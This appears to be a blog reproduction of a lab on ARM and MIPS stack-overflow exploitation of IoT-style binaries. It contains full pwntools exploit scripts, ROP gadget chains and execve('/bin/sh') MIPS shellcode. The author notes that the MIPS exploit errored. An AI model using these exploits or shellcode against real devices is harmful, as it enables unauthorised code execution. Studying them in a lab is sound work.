某60物联网安全之IoT漏洞利用实操2学习记录

news2024/11/20 15:14:29

物联网安全

文章目录

  • 物联网安全
  • IoT漏洞利用实操2(内存破坏漏洞)
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 实验内容
    • 实验步骤
      • ARM ROP构造与调试
      • MIPS栈溢出漏洞逆向分析


IoT漏洞利用实操2(内存破坏漏洞)

实验目的

学会ARM栈溢出漏洞的原理与利用方式
学会MIPS栈溢出漏洞的原理与利用方式

实验环境

操作机:Ubuntu 20.04【用户名:user 密码:user】

实验工具

qemu
gdb-multiarch
python
pwntools
IDA Pro

实验原理

IoT 设备中可能存在各种漏洞,总结来说,这些漏洞可以被大体划分为两大类,一类是内存破坏型漏洞,另一类则是逻辑漏洞。而在内存破坏型漏洞中,最常见的就是栈溢出漏洞。IoT 设备一般都采用非X86的架构,其中常见的就是 ARM 架构和 MIPS 架构。栈溢出漏洞的利用和ROP的构造,都与相应架构的栈结构有直接关系。
在没有任何保护机制的情况下,要利用栈溢出只需将返回地址覆盖为跳转到栈的指令地址,并在栈上后面添加shellcode就可以执行。但一般来说目前IoT设备内都有NX缓解机制,数据所在的内存页被标记为不可执行,此时再执行shellcode就会抛出异常。因此需要利用 ROP 技术(Return-Oriented Programming,返回导向编程),通过扫描二进制程序文件,提取出程序内部可用的gadget片段(通常以返回指令结尾),然后将这些gadget根据所需要的功能进行组合,达到无须调用任何函数即可执行任意代码的目的。

实验内容

ARM栈溢出漏洞逆向分析
ARM ROP构造与调试
MIPS栈溢出漏洞逆向分析
MIPS ROP构造与调试

实验步骤

ARM栈溢出漏洞逆向分析
进入 ~/Desktop/experiment3/armrop 文件夹,通过 file 命令查看存在漏洞的实验程序 armrop 的架构为 ARM架构,并且为静态编译的程序。
在这里插入图片描述

通过命令 qemu-arm ./armrop,利用 qemu 模拟运行该程序,大致了解程序的功能和逻辑,便于进一步逆向分析。
在这里插入图片描述

在终端中输入命令 wine ~/IDAPro7.5/ida.exe 打开 IDA,通过 IDA 加载将要分析的漏洞程序 armrop
在这里插入图片描述

通过 IDA 逆向分析后,可以发现程序的主要功能是不断输出字典中的字串,并等待用户输入字串,然后将输入的字串和已经输出的字串进行比较。不难发现栈溢出漏洞位置在函数 sub_8D24,且溢出长度为 112,即输入字符超过 112 之后,就可以覆盖到栈上保存pc寄存器值的位置。
在这里插入图片描述

ARM ROP构造与调试

通过 checksec 命令可以查看该程序开启的保护,发现开启了 NX 保护,堆栈不可执行,所以不能直接在栈上写 shellcode 并跳转执行。
在这里插入图片描述

这里通过 ROP 的方式进行利用,按照 ARM 汇编的特点,为了调用函数system(“/bin/sh”),需要找到控制 R0寄存器的gadget,并找到程序中"/bin/sh"字符串的地址和system函数的地址。可以依次通过如下命令找到相应的 gadget 和 "/bin/sh"字符串的地址。
$ ROPgadget --binary ./armrop --only “pop|ret”
$ ROPgadget --binary ./armrop --string “/bin/sh”
在这里插入图片描述

在这里插入图片描述

程序为静态编译,所以system函数还在程序中,通过逆向分析,可以确定该函数位置为 0x110B4。

于是,按照如下 exp.py 构造 ROP。

from pwn import *

context.log_level = "debug"

# io = process(["qemu-arm", "-g", "1234", "./armrop"])
io = process(["qemu-arm", "./armrop"])

# pause()

io.sendafter("quit\n", "\n")
io.readline()

# 0x00020904 : pop {r0, r4, pc}
# 0x0006c384 : /bin/sh

payload = 'A' * 112 + p32(0x20904) + p32(0x6c384) * 2 + p32(0x110B4)

io.sendlineafter("\n", payload)

io.interactive()

运行之后,可以拿到 shell。

在这里插入图片描述

另外,只需要将 exp.py 中的 io 部分代码修改如下,就可以利用 gdb-multiarch调试程序。

io = process(["qemu-arm", "-g", "1234", "./armrop"])
# io = process(["qemu-arm", "./armrop"])

在一个终端内运行 exp.py 脚本;在另一个终端中启动输入命令gdb-multiarch,然后在 gdb 中依次输入如下命令连接并调试 exp.py 脚本启动的 armrop 程序。

gdb-peda$ set architecture arm
gdb-peda$ target remote :1234

之后在 gdb 中利用如下命令,添加从漏洞函数返回前指令地址的断点,并继续运行。
gdb-peda$ b *0x8DE8
gdb-peda$ c

在这里插入图片描述

再次断在 0x8DE8 时,利用x/5i $pc查看将要执行的汇编指令,利用 x/20wx $sp 命令查看此时的栈结构和exp的栈布局。

在这里插入图片描述

MIPS栈溢出漏洞逆向分析

进入 ~/Desktop/experiment3/mipsrop 文件夹,通过 file 命令查看存在漏洞的实验程序 stack_bof 的架构为 MIPS 架构,并且为动态编译的程序,说明运行需要动态链接库,其相关动态链接库在lib文件夹中。
在这里插入图片描述

通过命令 qemu-mipsel -L ./ ./stack_bof 任意参数,利用 qemu 模拟运行该程序,大致了解程序的功能和逻辑,便于进一步逆向分析,其中 -L 指定的就是动态链接库的路径。
在这里插入图片描述

在终端中输入命令 wine ~/IDAPro7.5/ida.exe 打开 IDA,通过 IDA 加载将要分析的漏洞程序 stack_bof

通过 IDA 逆向分析后,可以发现程序的主要功能是输出任意参数字符串。不难发现栈溢出漏洞位置在函数 main,且溢出长度为 508,即输入字符超过 508 之后,就可以覆盖到栈上保存ra寄存器值的位置。
15

MIPS ROP构造与调试
通过 checksec 命令可以查看该程序开启的保护,发现程序没有开启任何保护,因此可以直接在栈上写 shellcode 并设法跳转执行。
在这里插入图片描述

由于 MIPS 具有指令流水的特点,为了使得指令刷新到在栈上写的 shellcode,这里还需要先通过 ROP 调用sleep函数,然后再利用ROP跳转到栈上执行 shellcode。为了寻找合适的 gadget,需要使用 IDA 的 mipsrop插件。由于程序是动态编译,所以程序本身的gadget较少,因此选择去其动态链接库中寻找可利用的gadget。利用 IDA 打开 ~/Desktop/experiment3/mipsrop/lib/libc.so.6。
在这里插入图片描述

先选择 mips rop gadgets 选项初始化该插件。

在这里插入图片描述

然后在 IDA 的python命令框中依次输入如下命令,寻找 exp.py 对应的合适 gadget。

# Call sleep
mipsrop.find("li $a0, 1")
mipsrop.tail() 
mipsrop.find("mov $t9, $s2")

# Jmp shellcode
mipsrop.stackfinder()
mipsrop.find("move $t9, $a1")

在这里插入图片描述

在这里插入图片描述

另外,由于使用了动态链接库中的 gadget ,还要确定stack_bof加载动态链接库libc.so.6的基地址。
在一个终端中输入 qemu-mipsel -L ./ -g 1234 ./stack_bof AAAAA

在另一个终端中输入命令gdb-multiarch,然后在 gdb 中依次输入如下命令

gdb-peda$ set architecture mips
gdb-peda$ target remote :1234
gdb-peda$ b *0x400944
gdb-peda$ c
gdb-peda$ x/wx 0x411064
将得到的值减去 0x68210 ,结果就是libc.so.6的基地址。

在这里插入图片描述
在这里插入图片描述

于是,按照如下 exp.py 构造 ROP。

from pwn import *
# context.log_level = 'debug'

libc_base = 0x7f62e000
set_a0_addr = 0x124474
# .text:00124474                 move    $t9, $s1
# .text:00124478                 jalr    $t9 ; close
# .text:0012447C                 li      $a0, 1
set_s1_addr = 0xAC71C
# .text:000AC71C                 lw      $ra, 60($sp)
# .text:000AC720
# .text:000AC720 loc_AC720:                               # CODE XREF: readdir+18C
# .text:000AC720                 move    $v0, $s0
# .text:000AC724                 lw      $s6, 56($sp)
# .text:000AC728                 lw      $s5, 52($sp)
# .text:000AC72C                 lw      $s4, 48($sp)
# .text:000AC730                 lw      $s3, 44($sp)
# .text:000AC734                 lw      $s2, 40($sp)
# .text:000AC738                 lw      $s1, 36($sp)
# .text:000AC73C                 lw      $s0, 32($sp)
# .text:000AC740                 jr      $ra
# .text:000AC744                 addiu   $sp, 64
jr_t9_jr_ra = 0x8F3A4
# .text:0008F3A4                 move    $t9, $s2
# .text:0008F3A8                 jalr    $t9 ; uselocale
# .text:0008F3AC                 move    $s0, $v0

# .text:0008F3B0                 lw      $ra, 52($sp)
# .text:0008F3B4                 move    $v0, $s0
# .text:0008F3B8                 lw      $s3, 48($sp)
# .text:0008F3BC                 lw      $s2, 44($sp)
# .text:0008F3C0                 lw      $s1, 40($sp)
# .text:0008F3C4                 lw      $s0, 36($sp)
# .text:0008F3C8                 jr      $ra
# .text:0008F3CC                 addiu   $sp, 0x38

addiu_a1_sp = 0xF60D4
# .text:000F60D4                 addiu   $a1, $sp, 24
# .text:000F60D8                 move    $t9, $s3
# .text:000F60DC                 jalr    $t9
jr_a1 = 0x11C68C
# .text:0011C68C                 move    $t9, $a1
# .text:0011C690                 move    $a1, $a0
# .text:0011C694                 jalr    $t9
usleep = 0xEA810
# sleep = 0xB2600

shellcode  = b""
shellcode += b"\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += b"\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += b"\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += b"\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += b"\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += b"\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += b"\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += b"\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += b"\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += b"\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += b"\xab\x0f\x02\x24"  # addiu $v0, $zero, 0xfab
shellcode += b"\x0c\x01\x01\x01"  # syscall 0x40404

pay =  ''
pay += 'a'*508
pay += p32(set_s1_addr+libc_base)
pay += 'b'*32
pay += '0000'                        #s0
pay += p32(jr_t9_jr_ra+libc_base)    #s1
pay += p32(usleep+libc_base)        #s2
pay += '3333'                        #s3
pay += '4444'                        #s4
pay += '5555'                        #s5
pay += '6666'                        #s6
pay += p32(set_a0_addr+libc_base)    #ra
pay += 'c'*48
pay += p32(jr_a1+libc_base)            #s3
pay += p32(addiu_a1_sp+libc_base)    #ra
pay += 'd'*24
pay += shellcode


# p = process(['qemu-mipsel', '-L', './', '-g', '1234','./stack_bof', pay])
p = process(['qemu-mipsel', '-L', './', './stack_bof',pay])
# pause()

p.interactive()

运行之后,可以拿到 shell。

在这里插入图片描述
这边报错,下边不在继续。

另外,只需要将 exp.py 中的 io 部分代码修改如下,就可以利用 gdb-multiarch调试程序。

p = process(['qemu-mipsel', '-L', './', '-g', '1234','./stack_bof', pay])
# p = process(['qemu-mipsel', '-L', './', './stack_bof',pay])

在一个终端内运行 exp.py 脚本;在另一个终端中启动输入命令gdb-multiarch,然后在 gdb 中依次输入如下命令连接并调试 exp.py 脚本启动的 stack_bof程序。

gdb-peda$ set architecture mips
gdb-peda$ target remote :1234
之后在 gdb 中利用如下命令,添加从漏洞函数返回前指令地址的断点,并继续运行。
gdb-peda$ b *0x4009A4
gdb-peda$ c
再次断在 0x4009A4 时,利用x/5i $pc查看将要执行的汇编指令,利用 x/20wx $sp 命令查看此时的栈结构和exp的栈布局。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1269444.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何使用 CSS columns 布局来实现自动分组布局?

最近在项目中碰到这样一个布局,有一个列表,先按照 4 2 的正常顺序排列,当超过 8 个后,会横向重新开始 4 2 的布局,有点像一个个独立的分组,然后水平排列,如下 图中序号是 dom 序列,所…

使用Java对yaml和properties互转,保证顺序、实测无BUG版本

使用Java对yaml和properties互转 一、 前言1.1 顺序错乱的原因1.2 遗漏子节点的原因 二、优化措施三、源码 一、 前言 浏览了一圈网上的版本,大多存在以下问题: 转换后顺序错乱遗漏子节点 基于此进行了优化,如果只是想直接转换&#xff0c…

IDEA2022 Git 回滚及回滚内容恢复

IDEA2022 Git 回滚 ①选择要回滚的地方,右键选择 ②选择要回滚的模式 ③开始回滚 ④soft模式回滚的内容会保留在暂存区 ⑤输入git push -f ,然后重新提交,即可同步远程 注意观察IDEA右下角分支的标记,蓝色代表远程内容未同步到本…

初识Java 18-5 泛型

目录 动态类型安全 异常 混型 C中的混型 替代方案 与接口混合 使用装饰器模式 与动态代理混合 本笔记参考自: 《On Java 中文版》 动态类型安全 在Java 5引入泛型前,老版本的Java程序中就已经存在了List等原生集合类型。这意味着,我们…

LeetCode(38)生命游戏【矩阵】【中等】

目录 1.题目2.答案3.提交结果截图 链接: 生命游戏 1.题目 根据 百度百科 , 生命游戏 ,简称为 生命 ,是英国数学家约翰何顿康威在 1970 年发明的细胞自动机。 给定一个包含 m n 个格子的面板,每一个格子都可以看成是…

Linux(fork+exec创建进程)

1.进程创建 内核设计与实现43页; 执行了3次ps -f ,ps -f的父进程的ID(PPID)都是一样的,即bash. 实际上Linux上这个bash就是不断的复制自身,然后把复制出来的用exec替换成想要执行的程序(比如ps); 运行ps,发现ps是bash的一个子进程;原因就是bash把自己复制一份,然后替换成ps;…

深度学习-模型调试经验总结

1、 这句话的意思是:期望张量的后端处理是在cpu上,但是实际是在cuda上。排查代码发现,数据还在cpu上,但是模型已经转到cuda上,所以可以通过把数据转到cuda上解决。 解决代码: tensor.to("cuda")…

vuepress-----7、发布在GitHub

# 7、发布在GitHub 在你的项目中,创建一个如下的 deploy.sh 文件(请自行判断去掉高亮行的注释): #!/usr/bin/env sh# 确保脚本抛出遇到的错误 set -e# 生成静态文件 npm run docs:build# 进入生成的文件夹 cd docs/.vuepress/dist# 如果是发…

attention中Q,K,V的理解

第一种 1.首先定义三个线性变换矩阵,query,key,value: class BertSelfAttention(nn.Module):self.query nn.Linear(config.hidden_size, self.all_head_size) # 输入768, 输出768self.key nn.Linear(config.hidde…

python实验3 石头剪刀布游戏

实验3:石头剪刀布游戏 一、实验目的二、知识要点图三、实验1. 石头剪刀布2. 实现大侠个人信息 一、实验目的 了解3类基本组合数据类型。理解列表概念并掌握Python中列表的使用。理解字典概念并掌握Python中字典的使用。运用jieba库进行中文分词并进行文本词频统计。…

COGVLM论文解读(COGVLM:VISUAL EXPERT FOR LARGE LANGUAGE MODELS)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、摘要二、引言三、模型方法1、模型思路2、融合公式 四、训练方法总结 前言 2023年5月18日清华&智谱AI发布并开源VisualGLM-6B以来,清华KEG&…

竞赛选题 题目:基于深度学习的中文对话问答机器人

文章目录 0 简介1 项目架构2 项目的主要过程2.1 数据清洗、预处理2.2 分桶2.3 训练 3 项目的整体结构4 重要的API4.1 LSTM cells部分:4.2 损失函数:4.3 搭建seq2seq框架:4.4 测试部分:4.5 评价NLP测试效果:4.6 梯度截断…

BUUCTF [GXYCTF2019]BabyUpload 1详解(.htaccess配置文件特性)

题目环境:查看题目源码 SetHandler application/x-httpd-php 通过源码可以看出这道文件上传题目主要还是考察.htaccess配置文件的特性 倘若不先上传.htaccess配置文件,那么后台服务器就无法解析php代码 这个是需要注意的 .htaccess配置文件特性 概述来说…

函数学习 PTA 1使用函数输出一个整数的逆序数;3判断满足条件的三位数;5使用函数求余弦函数的近似值

其实一共有五道题,但那两道实在太过简单,也不好意思打出来给大家看,那么这篇博客,就让我一次性写三道题吧!也当是个小总结,睡前深思。 6-1 使用函数输出一个整数的逆序数 本题要求实现一个求整数的逆序数的…

STM32F407-14.3.6-01输入捕获模式

输入捕获模式 在输入捕获模式下,当相应的 ICx⑦ 信号检测到跳变沿后,将使用捕获/比较寄存器 (TIMx_CCRx⑪) 来锁存计数器的值。发生捕获事件时,会将相应的 CCXIF⑬ 标志(TIMx_SR 寄存器)置 1, 并可发送中断…

云时空社会化商业 ERP 系统 Shiro 反序列化漏洞复现

0x01 产品简介 时空云社会化商业ERP(简称时空云ERP) ,该产品采用JAVA语言和Oracle数据库, 融合用友软件的先进管理理念,汇集各医药企业特色管理需求,通过规范各个流通环节从而提高企业竞争力、降低人员成本…

SpringMVC多种类型数据响应

SpringMVC多种类型数据响应入门 1.概念 RequestMapping 作用:用于建立请求URL和处理请求方法之间的对应关系 位置: 类上,请求URL的第一级访问目录。此处不写的话,就相当于应用的根目录 方法上,请求URL的第二级访问目…

【二叉树】Leetcode 199. 二叉树的右视图

力扣题目链接 解题思路 一开始&#xff0c;我以为只需要依次遍历最右边一列所有数即可&#xff0c;写出来的代码也通过了样例&#xff1a; class Solution { public:vector<int> rightSideView(TreeNode* root) {vector<int> ans;TreeNode* temp root;while(tem…

游戏缺少d3dx9_43.dll修复方法分享,快速解决dll缺失问题

在计算机使用过程中&#xff0c;我们常常会遇到一些错误提示&#xff0c;其中之一就是“找不到d3dx9_43.dll文件”。这个错误通常出现在运行某些游戏或应用程序时&#xff0c;d3dx9_43.dll是一个动态链接库文件&#xff0c;它是DirectX 9的一部分&#xff0c;用于支持游戏中的3…

LeetCode 7 整数反转

题目描述 整数反转 给你一个 32 位的有符号整数 x &#xff0c;返回将 x 中的数字部分反转后的结果。 如果反转后整数超过 32 位的有符号整数的范围 [−231, 231 − 1] &#xff0c;就返回 0。 假设环境不允许存储 64 位整数&#xff08;有符号或无符号&#xff09;。 示例…